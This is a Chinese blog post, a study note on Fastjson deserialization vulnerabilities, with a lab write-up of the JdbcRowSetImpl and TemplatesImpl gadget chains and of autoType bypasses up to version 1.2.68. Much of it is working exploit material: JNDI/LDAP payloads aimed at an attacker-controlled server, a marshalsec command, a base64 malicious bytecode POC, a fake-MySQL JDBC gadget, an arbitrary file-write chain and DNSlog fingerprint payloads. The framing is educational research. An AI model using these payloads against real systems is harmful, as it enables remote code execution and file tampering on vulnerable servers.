fastjson反序列化漏洞学习(一)

0x00:Fastjson简介

Fastjson 是阿里巴巴开源的一个 Java 的 JSON 解析库。它提供了快速、高效、简洁的 JSON 解析功能。Fastjson 不仅支持常见的 JSON 数据类型(如字符串、数字、布尔值、数组、对象等),还支持 Java 原生数据类型(如整型、浮点型、数组、集合等)与 JSON 之间的互相转换。Fastjson 支持通过注解和 API 自定义 JSON 序列化和反序列化的过程,以满足不同的需求。总的来说,Fastjson 是一个高效、易用、功能丰富的 JSON 解析库,是处理 JSON 数据的首选工具。

0x001:产生反序列化漏洞的原因

Fastjson 反序列化漏洞产生的原因通常是由于 Fastjson 库在反序列化 JSON 数据时存在安全漏洞。这些漏洞可以被攻击者利用来执行任意代码、访问系统文件、读取敏感数据等危险操作。

具体来说,Fastjson 反序列化漏洞的产生原因包括:

1、反序列化时不对用户输入的 JSON 数据进行足够的安全检查,从而导致攻击者可以在反序列化的过程中注入恶意数据。

2、Fastjson 库支持反序列化非 Java 原生类型的对象,如果不对这些对象进行足够的安全限制,攻击者就可以通过构造恶意 JSON 数据来执行任意代码。

3、Fastjson 库在反序列化 JSON 数据时存在多处安全漏洞,例如针对关键字的黑名单检查不严格,对类型的限制不严格等。

4、Fastjson 库没有对类加载器进行足够的限制,从而导致攻击者可以利用类加载器加载恶意类,并在反序列化 JSON 数据时执行任意代码。

简单的来说:

Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,Fastjson自定义的反序列化机制会调用指定类中的setter方法及部分getter方法,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有gadget,则会造成一些严重的安全问题。

0x003实验环境搭建

  1. 创建一个MVN项目,并在pom.xml中添加含有漏洞版本的Fastjson(本次实验的版本是1.2.24)

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>
  1. 修改JDK版本为8u161 < jdk < 8u191(本次实验使用的是8U162)

  1. 创建一个pojo类

package flynAAAA;

public class Student {
    private String name;
    private int age;
    private String hobby;

    public  Student() {
    }

    public  Student(String name, int age, String hobby) {
        this.name = name;
        this.age = age;
        this.hobby = hobby;
    }

    public String getName() {
        System.out.println("调用了getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了setName");
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getHobby() {
        return hobby;
    }

    public void setHobby(String hobby) {
        this.hobby = hobby;
    }

    @Override
    public String toString() {
        return "user{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", hobby='" + hobby + '\'' +
                '}';
    }
}
  1. 创建一个测试类

package flynAAAA;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Unser {
    public static void main(String[] args) {
        Student user = new Student("FlynAAAA",18,"Play");

        String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);//把user对象转换成带@type的json字符串
        System.out.println(s2);
        System.out.println("----------------------------------");
        Object parse1 = JSON.parseObject(s2);
        System.out.println(parse1);//把json字符串转换成对象
        System.out.println(parse1.getClass().getName());
    }
}
  1. 运行结果:

从结果可以看出

  1. 转换成的json字符串带@type,他的值为flynAAAA.Student,也就是说指定反序列化的类型为flynAAAA.Student

  1. 在使用parseObject将S2利用反序列化转换成对象的时候调用了Name的seter和geter方法。

0x004 调试反序列化过程:

接下来对反序列化流程进行分析:

紧接着将json字符串转换成parse对象,接下来进入parse对象中

再次对parse进行跟进。

进入parse中,这里回创建一个默认的parser对象“DefaultJSONParser”,继续跟进DefaultJSONParser。作用是对对输入的数据进行封装。

在DefaultJSONParser中会对输入的json字符串进行判断如果开头是“{”给一个token值为12,如果是“[”给值14。最终token的值为12.

紧接着返回parse类中,之后执行DefaultJSONParser类中的parse方法。继续进行跟进。

在DefaultJSONParser类中的,先将上一步DefaultJSONParser封装的结果赋值给lexer。

parse方法中会对前面的token值进行判断,不同token会进行不同的操作。Token值为12,首先创建了一个JSONObject对象,该对象是一个map类型的。之后在执行DefaultJSONParser类中的parseObject方法。

跟进DefaultJSONParser类中的parseObject方法,在该方法中会对当前对象的token值进行判断。之后根据转换的方式(转换方式可以这样理解:@type是自动转换)进行判断,根据转换方式得到需要反序列化类的名字(lexer.scanSymbol的作用就是得到需要反序列化类的名字,@type:flynAAAA.Student),之后使用TypeUtils.loadClass进行加载。

跟进TypeUtils.loadClass,需要反序列化类名别传入classname和classload被传入,此时classload为null。之后会在mappings进行查找flynAAAA.Student对应的值。

mappings的作用相当于缓存表里面存放着一些内置的类,由于mappings中没有flynAAAA.Student对应的值,所以当前clazz的值为空。

之后对clazz的值进行判断。

由于clazz的值为null,之后为clazz创建一个classload并放入mapping中。

之后返回到DefaultJSONParse#中的parseObiect中进行反序列化。跟进getDeserializer()

在getDeserializer(),首先在缓存里面进行查询。然后在进行getDeserializer,追进getDeserializer。

追进getDeserializer,也同样是在缓存里面进行检查,如果没有,会对反序列化的方式进行判断,不过之前会对有一个进行黑名单(denylist)判断。

Denylist的内容:

之后会以JavaBean的反序列化,在 createJavaBeanDeserializer使用JavaBean的反序列化。build方法通过反射加载clazz中的所有方法 位置com.alibaba.fastjson.util.JavaBeanInfo

之后在build方法中查找get、set

小结:

经过上面的调试,了解到fastjson将json字符串转换成对象时为什么调用Seter、get。以及反序列的流程,接下来分析gadget链子。

0x005:利用链分析

适用范围:Fastjson 1.2.22-1.2.24

  1. JdbcRowSetImpl利用链

漏洞原理:

@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型

  1. 环境部署:

Fastjson版本:1.2.24

恶意rmi/ladp服务端:marshalsec-0.0.3-SNAPSHOT-all.jar

ldap:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.40.128:9988/#Evil" 8088

rmi:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.40.128:9988/#Evil" 8088

服务端恶意类:

import java.io.IOException;
public class Evil {
    // 静态代码块, 当类被加载时调用
    public Evil() throws Exception{
        Runtime.getRuntime().exec("calc");
}
}

在服务端恶意代码的当前目录下开启http服务:

python -m http.server 9988

创建一个mvn项目,并且创建一个demo

package flynAAAA;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class jndi {
    public static void main (String[] args) {
       String exp="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.40.128:8088/#Evil\",\"autoCommit\":true}";
                JSON.parseObject(exp);
            }
}

结果:

  1. JdbcRowSetImpl利用链分析

经过上面的反序列话调试的部分一直往下走,到setDataSourceName:4298, JdbcRowSetImpl (com.sun.rowset)

直到setDataSourceName,dataSource的值为服务器上的恶意ldap地址

这个时候调用栈为:

setDataSourceName:4309, JdbcRowSetImpl (com.sun.rowset)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
parseObject:201, JSON (com.alibaba.fastjson)
main:10, jndi (flynAAAA)

直到JdbcRowSetImpl#setAutoCommit函数,设置autoCommit值,调用了connect()方法。跟进connect()方法。

在connect(),方法中this.con的值为空,紧接着判断DataSourceName(),上面已经知道DataSourceName值为ldap://192.168.40.128:8088/#Evil(可控),所以造成jndi漏洞。

Fastjson将对象转为Json通过toJSONString()方法,而将Json转换为对象有三个方法,这三个方法转换的时候也都会调用getter、setter,但触发条件不同:

1)parseObject(String text, Class\ clazz)
Getter

方法名需要长于4
非静态方法
以 get 字符串开头,且第四个字符需要是大写字母
方法不能有参数
返回值类型继承自Collection,Map,AtomicBoolean,AtomicInteger,AtomicLong
getter 方法对应的属性只能有 getter 不能有setter方法
方法为 public 属性

Setter
方法名长度大于4且以set开头
非静态函数
返回类型为void或当前类
参数个数为1个
方法为 public 属性

2)parseObject(String text)

getter
方法名长度大于4且以get开头
非静态函数
方法不能有参数
public 属性

setter
方法名长度大于4且以set开头
非静态函数
返回类型为void或当前类
参数个数为1个

3)parse (String text)

getter
方法名需要长于4
非静态方法
以 get 字符串开头,且第四个字符需要是大写字母
方法不能有参数
返回值类型继承自Collection,Map,AtomicBoolean,AtomicInteger,AtomicLong

getter 方法对应的属性只能有 getter 不能有setter方法
方法为 public 属性

setter
方法名长度大于4且以set开头
非静态函数 
返回类型为void或当前类
参数个数为1个
public 属性
  1. Templateslmpl利用链分析

漏洞原理:Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。

优点:不出网

前提:在使用parse反序列话的时候第二个参数需要设置“Feature.SupportNonPublicField”所以有很大的限制。

  1. 环境搭建

先生成POC,代码如下:

package flynAAAA;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.tomcat.util.codec.binary.Base64;

public class TEMPOC {
    public static class test{
    }

    public static void main(String[] args) throws Exception {
        // 实例化 ClassPool 用于修改class文件
        ClassPool pool = ClassPool.getDefault();
        // 获取test.class
        CtClass cc = pool.get(test.class.getName());

        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        // 新建一个static代码块,内容为java.lang.Runtime.getRuntime().exec("calc.exe");
        cc.makeClassInitializer().insertBefore(cmd);
        // 设置类名。
        String randomClassName = "FlynAAAAA"+System.nanoTime();
        cc.setName(randomClassName);

        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        // 将生成的class文件保存当当前项目目录下
        cc.writeFile("./");

        try {
            byte[]  evilCode= cc.toBytecode();
            String evilCode_base64 = new String(Base64.encodeBase64(evilCode));
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            String text1 = "{"+
                    "\"@type\":\"" + NASTY_CLASS +"\","+
                    "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
                    "'_name':'a.b',"+
                    "'_tfactory':{ },"+
                    "'_outputProperties':{ }"+
                    "}\n";
            // 输出构造好的POC
            System.out.println(text1);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

运行结果如下:

创建测试类:

package flynAAAA;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class jndi {
    public static void main (String[] args) {
        String exp="{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAWTGZseW5BQUFBL1RFTVBPQyR0ZXN0OwEAClNvdXJjZUZpbGUBAAtURU1QT0MuamF2YQwABAAFBwATAQAUZmx5bkFBQUEvVEVNUE9DJHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAPZmx5bkFBQUEvVEVNUE9DAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABcAGAoAFgAZAQAIY2FsYy5leGUIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAFEVyaXRrZW4zOTM5NzQwNjExMzAwAQAWTEVyaXRrZW4zOTM5NzQwNjExMzAwOwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACMKACQADwAhAAIAJAAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAlsQAAAAIABwAAAAYAAQAAAA0ACAAAAAwAAQAAAAUACQAiAAAACAAUAAUAAQAGAAAAFgACAAAAAAAKuAAaEhy2ACBXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACQ==\"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}";
        JSON.parseObject(exp, Feature.SupportNonPublicField);
    }
}

运行结果:

  1. Templateslmpl链调试

前置:

ClassLoader 处理字节码的流程为 loadClass -> findClass -> defineClass

loadClass: 从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass

findClass: 根据基础URL指定的方式来加载类的字节码

defineClass:处理前面传入的字节码,将其处理成真正的Java类

而Classloader#defineClass是protected方法,所以不可以直接调用,写一个简单的demo:

package flynAAAA;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.Method;
public class Demo
{
    // 定义test类用做恶意类
    public static class test{}
    public static void main(String[] args) throws Exception
    {
        // 反射拿 defineClass() 方法
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class,byte[].class, int.class, int.class);
        // 暴力访问
        defineClass.setAccessible(true);
        // 实例化 ClassPool 用于修改class文件
        ClassPool pool = ClassPool.getDefault();
        // 获取test.class
        CtClass cc = pool.get(Demo.test.class.getName());
        // 定义恶意静态方法
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        // 新建一个static代码块,内容为java.lang.Runtime.getRuntime().exec("calc.exe");
        cc.makeClassInitializer().insertBefore(cmd);
        // 设置类名。
        String randomClassName = "FlynAAAA"+System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        // 将生成的class文件保存当当前项目目录下
        cc.writeFile("./");
        // 获取恶意类的字节码
        byte[] evilCode = cc.toBytecode();
        System.out.println(evilCode);
        // 加载恶意类的字节码
        Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(),null, evilCode, 0, evilCode.length);
        hello.newInstance();
    }
}

结果:

这里必须要newInstance(),否则即使是定义的static静态代码块也不会被加载,这就意味着想要利用defineClass去加载恶意字节码执行命令,就必须要有方法能够调用恶意类的构造方法(真正加载恶意类)

回到正题:

TemplatesImpl重写了defineClass(),并且这里没有显式地声明其定义域。Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。所以也就是说这里defineClass由其父类的protected类型变成了一个default类型的方法,可以被类外部调用。

由于fastjson使用JSON.parseObject方法反序列化会调用get 和set方法.在TemplatesImpl中属性的get和set方法中getOutputProperties方法重写了newTransformer方法

继续跟进 newTransformer,发现在newTransformer里面使用了getTransletInstance(),

跟进getTransletInstance()需要_name!=null,_class == null

由于TemplatesImpl对defineclass进行了重写 对_bytecodes中的恶意代码进行加载,导致执行恶意代码.

Poc:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAWTGZseW5BQUFBL1RFTVBPQyR0ZXN0OwEAClNvdXJjZUZpbGUBAAtURU1QT0MuamF2YQwABAAFBwATAQAUZmx5bkFBQUEvVEVNUE9DJHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAPZmx5bkFBQUEvVEVNUE9DAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABcAGAoAFgAZAQAIY2FsYy5leGUIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAF0ZseW5BQUFBQTE4ODY1MDE3NDAyNzAwAQAZTEZseW5BQUFBQTE4ODY1MDE3NDAyNzAwOwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACMKACQADwAhAAIAJAAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAlsQAAAAIABwAAAAYAAQAAAA0ACAAAAAwAAQAAAAUACQAiAAAACAAUAAUAAQAGAAAAFgACAAAAAAAKuAAaEhy2ACBXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACQ=="],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}

0x006 高版本绕过方式:

  1. 1.2.25~1.2.41

1.2.25开始fastjson默认关闭了反序列化的类,如果需要反序列化类,需要开启AutoType,开启后对反序列化的类进行黑名单检测。下面是开启AutoType后的对白名单进行绕过。

环境搭建:

Fastjsong版本:

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.25</version>
</dependency>

开始先对在com.alibaba.fastjson.parser中加载黑名单:

之后在TypeUtils加载之前,进行checkAutoType检查:

跟进checkAutoType,之后进行黑名单匹配

之后使用TypeUtils.classload进行加载该类

继续跟进,如果传入的类以“L”开头,以“;”结尾,那么便会掐头去尾,保留中间部分

结果将@type的值改成“Lcom.sun.rowset.JdbcRowSetImpl”,就能进行绕过。

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://192.168.40.128:8088/#Evil", "autoCommit":1}
  1. 1.2.25~1.2.42

fastjson版本:

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.42</version>
</dependency>

在1.2.42,官方将黑名单类做hash混淆处理:

在checkAutoType方法中先对typeName进行长度判断大于3切小于128

与黑名单中的hash进行拼配后,为了修复上个版本的“L ;”绕过,在进入loadclass之前就进行“掐头去尾”,处理。

不难看出在loadclass方法里进行了“掐头去尾”处理,但这个loadclass方法是回调函数。

进行了三次“掐头去尾”后处理结果。

直到结果:

结果:

poc:

{"@type":"LLLcom.sun.rowset.JdbcRowSetImpl;;;","dataSourceName":"ldap://192.168.40.128:8088/#Evil", "autoCommit":1}
  1. 1.2.25~1.2.43

Fastjson版本:

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.43</version>
</dependency>

经过上面的研究,可以想到这次修复肯定修复了LL开头,但是使用[又可以进行绕过。

Poc:

String exp="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://192.168.40.128:8088/Evil\", \"autoCommit\":true}]}"; 
//这里又一个fastjson第一个{是可以不用闭合,也就是说最后可以少一个}。理解不了没关系,这个POC是完整的闭合。
  1. 1.2.25~1.2.45

基于Mybatis的利用链

org.apache.ibatis.datasource.jndi.JndiDataSourceFactory,这条链子同样影响1.2.45,但Mybatis的版本必须小于3.5.6

Mybatis版本:

<dependency>
    <groupId>org.mybatis</groupId>
    <artifactId>mybatis</artifactId>
    <version>3.5.5</version>
</dependency>

Fastjson版本:

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.43</version>
</dependency>

Demo:

package flynAAAA;
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;
import java.util.Properties;

public class client2 {
    public static void main(String[] args) throws Exception {
        JndiDataSourceFactory jndiDataSourceFactory = new JndiDataSourceFactory();
        Properties datasource = new Properties();
        datasource.setProperty("data_source", "ldap://192.168.40.128:8088/Evil");
        jndiDataSourceFactory.setProperties(datasource);
    }
}

如果properties中存在data_source键,则将对应值带如lookup(),造成JNDI注入:

最终POC:

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://192.168.40.128:8088/#Evil"}
  1. <=1.2.47

这次这个版本(借助浅蓝大佬的文章进行学习)可以在不需要开启autoTypeSupport的触发漏洞:

Fastjson版本:

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.47</version>
</dependency>

在checkAutoType中,在开启autoTypeSupport的情况下,代码会走到Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null来进行判断抛出异常,如果不符合的话会继续往下走从Mapping和deserializers缓存中寻找类,如果存在则返回clazz.这次使用的是java.lang.Class刚好可以绕过黑名单检测。通过deserializers.findClass找到该类。

而在ParserConfig类初始化时会执行initDeserializers方法,会向deserializers中添加许多的类,类似一种缓存,其中会添加这么一个类this.deserializers.put(Class.class, MiscCodec.instance);接下来直接进入MiscCode.java中的deseriale方法,lexer.token() == JSONToken.LITERAL_STRING为false走到else,紧接着进入parser.paser中,objVal的值为com.sun.rowset.JdbcRowSetImpl。

之后对objval的值进行判断,objVal赋值给strVal

随后进入TypeUtils.loadClass中,

跟进TypeUtils.loadClass,首先在mappings里面查找com.sun.rowset.JdbcRowSetImpl没有找到,之后创建一个为此创建了一个classload并加入缓存中。

当程序第二次加载checkAutoType()时,恶意类已经存在于mapping缓存中,所以成功取值clazz,直经过判断后接返回

非常巧妙地绕过了AutoType与黑名单机制,触发RCE,1.2.47的精髓就在于,通过java.lang.class触发缓存机制,利用loadClass()的递归解析将JdbcRowSetImpl添加到缓存,从而绕过了checkAutoType()与黑名单。

  1. <=1.2.68

总结到这里真的麻了!!!!!(分析过程就先省略,有机会再补充)

升级后的checkAutoType()验证的流程图

Fastsjon版本:

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.68</version>
</dependency>

MySQL版本

<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>5.1.11</version>
</dependency>

这里Mysql的RCE利用的是JDBC的反序列化链,原理就是通过JDBC连接MySQL服务端时,会执行SQL查询,其中查询的结果集会在客户端调用ObjectInputStream.readObject()进行反序列化操作,如果我们能够控制结果以及连接地址,就会触发RCE。

需要用到fakemysql下载连接:

https://github.com/fnmsd/MySQL_Fake_Server/

下载完成之后解压将yso放到当前目录:

之后开启server:

Demo:

{
        "@type": "java.lang.AutoCloseable",
        "@type": "com.mysql.jdbc.JDBC4Connection",
        "hostToConnectTo": "127.0.0.1",
        "portToConnectTo": 3306,
        "info": {
        "user": "yso_CommonsCollections5_calc",
        "password": "pass",
        "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
        "autoDeserialize": "true",
        "NUM_HOSTS": "1"
        },
        "databaseToConnectTo": "dbname",
        "url": ""
        }

结果:

还有师傅挖掘到了基于commons-io 2.0~2.6 的任意文件写入链,

POC:

package flynAAAA;
import com.alibaba.fastjson.JSON;
import java.util.Random;
public class client6
{
    private static final Random RAND = new Random();
    public static void main(String[] args) {
        String aaa_8192 = "FlynAAAAA"+"\n"+getRandomString(81920);
        String write_name = "E://2.txt";
        String payload_commons_io_filewrite_0_6 = "{\"x\":{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"input\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\"charSequence\":{\"@type\":\"java.lang.String\"\""+aaa_8192+"\"},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"branch\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\"writer\":{\"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\"file\":\""+write_name+"\",\"encoding\":\"UTF-8\",\"append\": false},\"charsetName\":\"UTF-8\",\"bufferSize\": 1024,\"writeImmediately\": true},\"trigger\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger2\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger3\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"}}}";
        System.out.println(payload_commons_io_filewrite_0_6);
        JSON.parse(payload_commons_io_filewrite_0_6);
    }

    public static String getRandomString(int numChars) {
        int chars = RAND.nextInt(numChars);
        while (chars == 0)
            chars = RAND.nextInt(numChars);
        StringBuffer sb = new StringBuffer();
        for (int i = 0; i < chars; i++) {
            int index = 97 + RAND.nextInt(26);
            char c = (char) index;
            sb.append(c);
        }
        return sb.toString();
    }
}

结果:

0x007 指纹识别:

{"@type":"java.net.InetAddress","val":"dnslog"}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://dnslog"}}""}
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}
{{"@type":"java.net.URL","val":"http://dnslog"}:0
{"ss":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://xxx.dnslog.cn"}}""},}
[{"a":"a\x]
{"@type":"java.lang.AutoCloseable" //版本检测

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
Fastjson是一款Java语言编写的高性能JSON处理器,被广泛应用于各种Java应用程序中。然而,Fastjson存在反序列化漏洞,黑客可以利用该漏洞实现远程代码执行,因此该漏洞被广泛利用。 检测Fastjson反序列化漏洞的方法: 1. 扫描源代码,搜索是否存在Fastjson相关的反序列化代码,如果存在,则需要仔细检查反序列化的过程是否安全。 2. 使用工具进行扫描:目前市面上有很多漏洞扫描工具已经支持Fastjson反序列化漏洞的检测,例如:AWVS、Nessus、Burp Suite等。 利用Fastjson反序列化漏洞的方法: 1. 利用Fastjson反序列化漏洞执行远程命令:黑客可以构造一个恶意JSON字符串,通过Fastjson反序列化漏洞实现远程命令执行。 2. 利用Fastjson反序列化漏洞实现文件读取:黑客可以构造一个恶意JSON字符串,通过Fastjson反序列化漏洞实现文件读取操作。 3. 利用Fastjson反序列化漏洞实现反弹Shell:黑客可以构造一个恶意JSON字符串,通过Fastjson反序列化漏洞实现反弹Shell操作。 防范Fastjson反序列化漏洞的方法: 1. 更新Fastjson版本:Fastjson官方在1.2.46版本中修复了反序列化漏洞,建议使用该版本或更高版本。 2. 禁止使用Fastjson反序列化:如果应用程序中不需要使用Fastjson反序列化功能,建议禁止使用该功能,可以使用其他JSON处理器。 3. 输入验证:对所有输入进行校验和过滤,确保输入数据符合预期,避免恶意数据进入系统。 4. 序列化过滤:对敏感数据进行序列化过滤,确保敏感数据不会被序列化。 5. 安全加固:对系统进行安全加固,如限制系统权限、加强访问控制等,避免黑客利用Fastjson反序列化漏洞获取系统权限。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值